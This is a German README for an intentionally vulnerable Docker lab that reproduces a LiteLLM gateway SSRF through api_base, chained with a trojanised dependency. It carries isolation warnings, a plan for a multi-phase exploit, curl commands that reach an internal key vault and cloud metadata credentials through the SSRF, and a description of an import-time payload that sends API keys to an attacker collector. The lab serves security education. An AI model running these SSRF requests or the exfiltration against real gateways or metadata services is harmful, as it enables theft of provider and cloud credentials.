
Bewusst verwundbares Docker-Lab zur Reproduktion von CVE-2026-33634: LiteLLM-Gateway-SSRF über api_base plus eine trojanisierte Abhängigkeit, mit einem mehrphasigen Exploit zum Diebstahl von Anmeldedaten.
api_base (PoC / Lab)⚠️ Absichtlich verwundbares Labor, für Bildungs- und autorisierte Zwecke. Betreibe es nur auf deiner Maschine, gegen die Container dieses Repositories. Lies SECURITY-NOTES.md, bevor du beginnst.
🚫 Betreibe dieses Lab NIEMALS auf einer Cloud-VM oder einer gemeinsam genutzten Maschine. Das Gateway hat absichtlich uneingeschränktes SSRF: Wenn ein echtes IMDS (
169.254.169.254) oder sensible Dienste im Loopback/LAN vorhanden sind, erreicht das SSRF sie tatsächlich. Die Ports werden nur auf127.0.0.1veröffentlicht; halte das so. Verwende einen isolierten/wegwerfbaren Host.
CVSS 9.4 (kritisch). Supply-Chain-Kompromittierung des LiteLLM-Gateways
(März/2026): Eine bösartige Abhängigkeit in einer Gateway-Bibliothek hat das
gesamte Portfolio an KI-Anbieter-Anmeldedaten offengelegt. Das wiederkehrende
Muster dieser Schicht tritt gemeinsam auf: OpenAI-Schlüssel im Proxy und
SSRF im Parameter api_base. Dieses Lab reproduziert beide Schwachstellen
und verkettet sie zu einem Exploit.
litellm-telemetry-helper (in malicious-dep/) simuliert die
kompromittierte transitive Abhängigkeit. In der Erzählung des Vorfalls hätte ein
schwacher Pin (>=0.9.6) den Resolver dazu gebracht, die bösartige Version
0.9.7 anstelle der sauberen 0.9.6 zu ziehen. Die Payload wird beim
import ausgelöst (es genügt, dass das Gateway die Abhängigkeit auflöst) und
exfiltriert in einem Hintergrund-Thread die gesamte Umgebung
(OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) an einen Collector des
Angreifers — still und leise, ohne die Anwendung zu unterbrechen.
api_baseDer Proxy (gateway/app.py) akzeptiert api_base (die
base_url des Anbieters) vom Aufrufer, ohne Allowlist. Der Angreifer
kontrolliert, wohin das Gateway Anfragen stellt, und das Gateway:
Authorization an, undDamit lässt sich: interne Dienste erreichen (/admin/keys),
Cloud-Anmeldedaten im IMDS stehlen (169.254.169.254), das interne Netz
port-scannen und der Schlüssel jedes Anbieters leaken, indem man
api_base zurück zum Angreifer zeigt.
HOST (du / Angreifer)
exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
▲ │
└───────────GET /loot (localhost:8080)──┐ │
│ ▼
┌───────────────────────── Docker-Netz "labnet" ───┼───────────────────┐
│ │ │
│ collector (attacker.lab:8080) ◄─ Beacon Supply-Chain ── gateway │
│ • /beacon (Exfil der bösartigen Dep) │ (litellm │
│ • /collect (geleakter Schlüssel via SSRF) │ :4000) │
│ • /oob (Bestätigung Blind-SSRF) │ │ SSRF │
│ • /loot ┘ │ (api_base)│
│ ▼ │
│ internal.lab:9000 /admin/keys (NICHT veröffentlicht) ◄─┤ │
│ imds.lab:80 /latest/... (NICHT veröffentlicht) ◄─┤ │
│ provider-mock.lab:9100 (Upstream "normal") ◄────────┘ │
└──────────────────────────────────────────────────────────────────────┘
internal.lab und imds.lab haben keinen veröffentlichten Port — nur das
SSRF des Gateways erreicht sie. Genau das ist der Sinn des Labs.
Voraussetzungen: Docker + Docker Compose v2 sowie Python 3.9+ mit httpx für den Exploit.
cd CVE-2026-33634
# 1) startet das Lab (Gateway :4000, Collector :8080)
docker compose up -d --build # oder: make up
# 2) installiert die Anforderung des Exploits
python3 -m pip install -r exploit/requirements.txt
# 3) führt den vollständigen Exploit aus
python3 exploit/exploit.py # oder: make exploit
Einzelne Phasen ausführen:
python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal # stiehlt nur den internen Tresor
python3 exploit/exploit.py --only cloud # stiehlt nur Cloud-Anmeldedaten
python3 exploit/exploit.py --only keyleak # leakt nur die Anbieter-Schlüssel
python3 exploit/exploit.py --only supplychain # prüft nur den Beacon der Dep
Der vollständige Loot wird in loot.json gespeichert. Verfolge, wie der Angreifer die Daten empfängt:
docker compose logs -f collector # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool
# beliebiges Lesen: interner Tresor via SSRF
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
| python3 -m json.tool
# Cloud-Anmeldedaten via SSRF zum IMDS
curl -s http://localhost:4000/v1/chat/completions \
-H 'content-type: application/json' \
-d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'
| Phase | Technik |
|---|---|
recon | Fingerprint des Gateways; zählt Modelle/Anbieter auf; erkennt den Sink api_base. |
ssrf | Bestätigt das SSRF blind (out-of-band): erzwingt einen Callback mit eindeutigem Token an den Collector. |
scan | Port-Scan des internen Netzes durch das Gateway (nebenläufig). |
internal | SSRF → internal.lab/admin/keys: exfiltriert den gesamten Tresor an Anmeldedaten. |
cloud | SSRF → IMDS: stiehlt temporäre STS-Anmeldedaten der Instanz-Rolle. |
keyleak | Zeigt api_base auf den Angreifer; das Gateway leakt den Schlüssel jedes Anbieters im Authorization. |
supplychain | Liest den Loot: Die trojanisierte Dep hat die Umgebung bereits beim Import exfiltriert. |
report | Fasst den Impact zusammen und schreibt loot.json. |
Dieses Lab priorisiert didaktische Klarheit und Reproduzierbarkeit. Wo es den realen Vorfall abstrahiert, geschieht das absichtlich — und es lohnt sich, die Unterschiede zu kennen: